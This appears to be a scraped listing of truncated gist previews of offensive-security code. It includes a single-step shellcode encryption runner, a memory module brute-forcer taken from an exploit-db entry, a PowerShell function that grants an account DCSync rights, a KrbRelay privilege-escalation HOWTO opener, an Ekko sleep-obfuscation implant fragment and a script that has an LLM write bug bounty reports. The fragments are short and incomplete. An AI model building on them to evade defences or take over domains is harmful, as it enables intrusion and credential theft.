| MD | |
| TermUrl | |
| a | |
| adjust_campaign | |
| alternatives | |
| amount | |
| app | |
| app_id | |
| appname | |
| avoid |
| #include <Windows.h> | |
| LONG SingleStepEncryptDecrypt(EXCEPTION_POINTERS* ExceptionInfo); | |
| typedef VOID(__stdcall* Shellcode)(); | |
| LPBYTE ShellcodeBuffer; | |
| ULONG_PTR PreviousOffset; | |
| ULONG_PTR CurrentOffset; | |
| ULONGLONG InstructionCount; | |
| DWORD dwOld; |
| // memBruteforce.cpp by [email protected] | |
| // brute search loaded moudules in memory | |
| // rewrite from https://www.exploit-db.com/exploits/45293 | |
| #include <Windows.h> | |
| #include <iostream> | |
| #pragma warning(disable:4996) | |
| bool isMemExist(size_t addr) { | |
| int retv; | |
| __asm { |
| (() => { | |
| let gadgets = []; | |
| if (typeof _satellite !== 'undefined') { | |
| gadgets.push('Adobe Dynamic Tag Management'); | |
| } | |
| if (typeof BOOMR !== 'undefined') { | |
| gadgets.push('Akamai Boomerang'); | |
| } |
| #include <ntddk.h> | |
| #define BLOCK_PROCESS "notepad.exe" | |
| static OB_CALLBACK_REGISTRATION obcallback_registration; | |
| static OB_OPERATION_REGISTRATION oboperation_callback; | |
| #define PROCESS_CREATE_THREAD (0x0002) | |
| #define PROCESS_CREATE_PROCESS (0x0080) | |
| #define PROCESS_TERMINATE (0x0001) | |
| #define PROCESS_VM_WRITE (0x0020) | |
| #define PROCESS_VM_READ (0x0010) | |
| #define PROCESS_VM_OPERATION (0x0008) |
| function Invoke-SyncMeUp{ | |
| [CmdletBinding()] | |
| Param ( | |
| [Parameter(Mandatory=$True)] | |
| [string]$AccountName | |
| ) | |
| $dse = [ADSI]"LDAP://Rootdse" | |
| $namingcontext = $dse.defaultNamingContext | |
| echo "Giving $AccountName DCSync rights" | |
| dsacls.exe $namingcontext /G $AccountName":CA;Replicating Directory Changes All" $AccountName":CA;Replicating Directory Changes" |
Short HOWTO about one use case of the work from Cube0x0 (KrbRelay) and others.
No-Fix Local Privilege Escalation from low-priviliged domain user to local system on domain-joined computers.
Prerequisites:
| #include <Core.h> | |
| #include <Win32.h> | |
| #include <Structs.h> | |
| #include <Sleep.h> | |
| #include <Utils.h> | |
| SEC( text, C ) VOID Ekko ( DWORD SleepTime, PINSTANCE Instance) | |
| { |
| import poe, sys | |
| client = poe.Client("<POE_API_KEY_HERE>") | |
| title=sys.argv[1] | |
| path=sys.argv[2] | |
| more="" | |
| if len(sys.argv) > 3: | |
| more="\" and here is more information: "+sys.argv[3] | |
| message="""generate a bug bounty report for me (hackerone.com), the title of the bug is """+title+""" and the vulnerability path is \""""+path+more+""" |
